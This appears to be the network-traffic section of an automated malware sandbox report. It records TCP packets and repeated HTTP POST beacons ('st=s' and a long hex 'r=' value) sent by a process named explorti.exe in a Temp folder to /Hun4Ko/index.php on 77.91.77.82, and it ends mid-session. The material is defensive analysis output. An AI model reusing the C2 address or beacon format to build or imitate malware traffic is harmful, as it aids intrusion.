Jun 30, 2024 10:26:18.380388021 CEST	57661	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:18.383280993 CEST	57662	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:18.383280993 CEST	57661	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:18.388258934 CEST	80	57662	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:18.388524055 CEST	57662	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:18.388559103 CEST	80	57661	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:18.388720036 CEST	57662	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:18.388720036 CEST	57661	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:18.393765926 CEST	80	57662	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:19.136859894 CEST	80	57662	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:19.136921883 CEST	57662	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:19.248502970 CEST	57662	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:19.249062061 CEST	57663	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:19.253715992 CEST	80	57662	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:19.253768921 CEST	57662	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:19.254365921 CEST	80	57663	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:19.254431009 CEST	57663	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:19.254709005 CEST	57663	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:19.259651899 CEST	80	57663	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:19.260448933 CEST	57663	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:19.264445066 CEST	57664	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:19.269898891 CEST	80	57664	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:19.269969940 CEST	57664	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:19.270200968 CEST	57664	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:19.275041103 CEST	80	57664	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:19.976968050 CEST	80	57664	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:19.982438087 CEST	57664	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:20.094387054 CEST	57664	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:20.094446898 CEST	57665	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:20.099616051 CEST	80	57665	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:20.099783897 CEST	57665	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:20.099940062 CEST	57665	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:20.100018978 CEST	80	57664	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:20.100264072 CEST	57664	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:20.104852915 CEST	80	57665	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:20.817363024 CEST	80	57665	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:20.817601919 CEST	57665	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:20.820096016 CEST	57665	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:20.820446014 CEST	57666	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:20.825362921 CEST	80	57665	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:20.825376034 CEST	80	57666	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:20.825589895 CEST	57665	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:20.825589895 CEST	57666	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:20.825805902 CEST	57666	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:20.830667019 CEST	80	57666	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:21.570755005 CEST	80	57666	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:21.570810080 CEST	57666	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:21.688977003 CEST	57666	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:21.689471006 CEST	57667	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:21.694283009 CEST	80	57667	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:21.694305897 CEST	80	57666	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:21.694355965 CEST	57667	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:21.694380999 CEST	57666	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:21.694807053 CEST	57667	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:21.699790001 CEST	80	57667	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:22.388106108 CEST	80	57667	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:22.391529083 CEST	57667	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:22.395026922 CEST	57667	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:22.395030975 CEST	57668	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:22.399900913 CEST	80	57668	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:22.400027037 CEST	57668	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:22.400204897 CEST	80	57667	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:22.400386095 CEST	57668	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:22.400434971 CEST	57667	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:22.405263901 CEST	80	57668	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:23.111650944 CEST	80	57668	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:23.111706972 CEST	57668	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:23.233196020 CEST	57668	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:23.233486891 CEST	57669	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:23.238365889 CEST	80	57669	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:23.238440037 CEST	57669	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:23.238487005 CEST	80	57668	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:23.238543034 CEST	57668	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:23.238792896 CEST	57669	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:23.243720055 CEST	80	57669	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:23.954600096 CEST	80	57669	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:23.956598043 CEST	57669	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:23.959544897 CEST	57670	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:23.959544897 CEST	57669	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:23.964457989 CEST	80	57670	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:23.964574099 CEST	57670	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:23.964795113 CEST	80	57669	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:23.964832067 CEST	57670	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:23.964925051 CEST	57669	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:23.969573021 CEST	80	57670	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:25.402442932 CEST	80	57670	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:25.402499914 CEST	57670	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:25.403004885 CEST	80	57670	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:25.403053045 CEST	57670	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:25.403820038 CEST	80	57670	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:25.403872967 CEST	57670	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:25.522394896 CEST	57671	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:25.522394896 CEST	57670	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:25.527290106 CEST	80	57671	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:25.527348042 CEST	57671	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:25.528064013 CEST	80	57670	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:25.528115988 CEST	57670	80	192.168.2.7	77.91.77.82

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 30, 2024 10:22:49.810898066 CEST	53	64081	162.159.36.2	192.168.2.7

HTTP Request Dependency Graph

77.91.77.82

77.91.77.81

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:28.326765060 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49704	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:28.468444109 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49705	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:28.848638058 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49706	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:28.898185015 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49707	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:29.142494917 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49708	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:29.283658028 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49709	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:30.475045919 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49710	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:30.520895958 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49711	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:30.641906023 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49712	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:30.764605999 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49713	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:31.091065884 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49714	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:31.277122974 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49715	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:31.439794064 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49716	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:31.504985094 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49717	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:31.665108919 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49718	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:31.699117899 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49719	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:31.844033003 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49720	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:31.879547119 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49721	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:32.017863989 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49722	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:32.030210972 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49723	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:32.157227039 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49724	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:32.192580938 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49725	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:22:32.386198997 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49726	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
